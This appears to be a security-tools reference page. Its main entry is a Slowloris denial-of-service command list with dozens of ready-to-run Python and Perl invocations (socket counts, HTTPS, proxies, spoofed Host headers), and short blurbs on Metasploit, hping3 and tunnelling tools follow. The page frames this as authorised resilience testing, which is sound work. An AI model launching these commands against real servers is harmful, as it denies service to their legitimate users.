Stress Testing
Slowloris is a denial-of-service tool that allows a single machine to test a web server's resilience against resource exhaustion by keeping numerous HTTP connections open with partial requests.
pip install slowloris
slowloris [options] <target>
Slowloris is a slow-rate HTTP denial-of-service testing tool that exploits a fundamental design limitation in threaded web servers. Instead of overwhelming a server with bandwidth, Slowloris opens hundreds of connections and keeps them alive by sending partial HTTP headers at slow intervals.
The attack works by sending incomplete HTTP requests — Slowloris sends the initial GET request but never sends the terminating headers. The server keeps the connection open waiting for the request to complete, eventually exhausting its connection pool and denying service to legitimate users.
Slowloris is notable for requiring minimal bandwidth — a single machine with a standard internet connection can take down an Apache server. This demonstrated a class of DoS vulnerabilities that rely on application-layer resource exhaustion rather than network-layer flooding.
pip3 install slowlorisInstall the Python Slowloris implementation from PyPIslowloris example.comLaunch a Slowloris attack against a host on default port 80slowloris 10.10.10.10 -p 80Attack a host by IP address on a specific portslowloris example.com -p 443Target a service running on port 443slowloris example.com -vRun with verbose output to watch connection activityslowloris example.com -s 1000Open 1000 concurrent half-open socketsslowloris example.com -s 150Use the default 150 sockets for a lighter testslowloris example.com --sleeptime 10Send a keep-alive header every 10 seconds per socketslowloris example.com -uaRandomize the User-Agent string on each connectionslowloris example.com --httpsAttack over TLS/HTTPS instead of plain HTTPslowloris example.com -x --proxy-host 127.0.0.1 --proxy-port 8080Route the attack through a SOCKS/HTTP proxyslowloris example.com -s 500 -v -uaCombine socket count, verbosity, and UA randomizationslowloris -hShow the Slowloris help and full option listperl slowloris.pl -dns example.comRun the classic RSnake Perl Slowloris against a hostperl slowloris.pl -dns example.com -port 80Specify the target port for the Perl scriptperl slowloris.pl -dns example.com -num 500Set the number of connections to hold openperl slowloris.pl -dns example.com -timeout 2000Set the delay between sending partial headersperl slowloris.pl -dns example.com -tcpto 5Set the TCP connection timeout in secondsperl slowloris.pl -dns example.com -httpsUse HTTPS mode with the Perl Slowlorisperl slowloris.pl -dns example.com -httpreadySend partial POST requests (HTTP Ready) instead of GETperl slowloris.pl -dns example.com -shost www.example.comSet a spoofed Host header for virtual-host targetingperl slowloris.pl -dns example.com -cacheAppend no-cache request options to defeat cachingperl slowloris.pl -dns example.com -testProbe the target to estimate its optimal timeout windowperl slowloris.pl -dns example.com -port 443 -https -num 1000Full HTTPS attack holding 1000 connectionsEvaluate how many concurrent slow connections your web server can handle before rejecting requests.
Test connection timeout settings and verify proper request timeout values are configured.
Determine if your infrastructure needs reverse proxies or rate limiting to handle slow connection attacks.
Compare the behavior of different web server architectures (threaded vs event-driven) under load.
Verify that Web Application Firewalls detect and block slow-rate HTTP attacks.
Stress Testing
GoldenEye is an HTTP denial-of-service testing tool that utilizes KeepAlive and NoCache headers to simulate heavy concurrent traffic and test web server resilience.
Stress Testing
hping3 is a command-line network tool for crafting, sending, and analyzing custom TCP/IP packets. Built for firewall testing, port scanning, OS fingerprinting, path MTU discovery, and authorized stress testing, it gives you control over nearly every field of the TCP, UDP, ICMP, and raw IP headers — the flags, sequence numbers, window size, TTL, fragmentation, and payload — and then shows you exactly how the target answers. Where Nmap runs predefined scan types, hping3 is the packet workbench you reach for when the question is "what does the firewall do with THIS exact packet?" It runs on raw sockets (so it needs root), supports scan and listen modes, and includes a Tcl scripting engine for automating protocol experiments in a lab.
Exploitation
Learn how to use Metasploit Framework: install it on Kali Linux, launch msfconsole, search for exploit modules, set RHOSTS and LHOST, and run your first authorized lab exploit. This beginner tutorial covers msfconsole commands, Meterpreter sessions, msfvenom payloads, and post-exploitation — with practical examples for authorized penetration testing.
Sniffing & Spoofing
Wireshark tutorial for beginners: capture packets, read the three panes, filter traffic and follow TCP streams — a hands-on guide to the world's foremost network protocol analyzer.
Maintaining Access
WireGuard is an extremely fast, modern VPN protocol that lives inside the Linux kernel and uses state-of-the-art cryptography — Curve25519 key exchange, ChaCha20Poly1305 encryption, and the Noise protocol framework — in a core codebase of only a few thousand lines. In penetration testing and red team work it creates secure, persistent tunnels for pivoting into internal networks and maintaining encrypted access, while system administrators use the same tool for site-to-site links and road-warrior VPNs. Every peer is identified by a single public key, traffic is bound to that key by cryptokey routing (AllowedIPs), and the protocol stays completely silent toward unauthenticated packets, which makes a WireGuard port nearly invisible to scanners.
Maintaining Access
Ligolo-ng is a simple, lightweight, and fast tunneling tool that uses a TUN interface. It allows penetration testers to establish tunnels from a reverse TCP/TLS connection without needing SOCKS proxies.
Learn API hacking step by step: discover endpoints, test authentication and authorization, find BOLA flaws with a worked crAPI example, test JWTs and GraphQL, and report findings — with tools, a cheat sheet and a checklist.
Tools · IntermediateLearn how to use Burp Suite to intercept requests, test with Repeater and Intruder, follow a worked DVWA example, and start free with Community Edition.
Web Security · IntermediateWhat is IDOR? See real insecure direct object reference examples, a worked lab test with Burp Suite, and how to prevent IDOR with server-side checks.
Web Security · IntermediateWhat is SSRF? See real server-side request forgery examples, a worked lab test, and how to prevent SSRF attacks with allowlists, IMDSv2 and egress controls.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.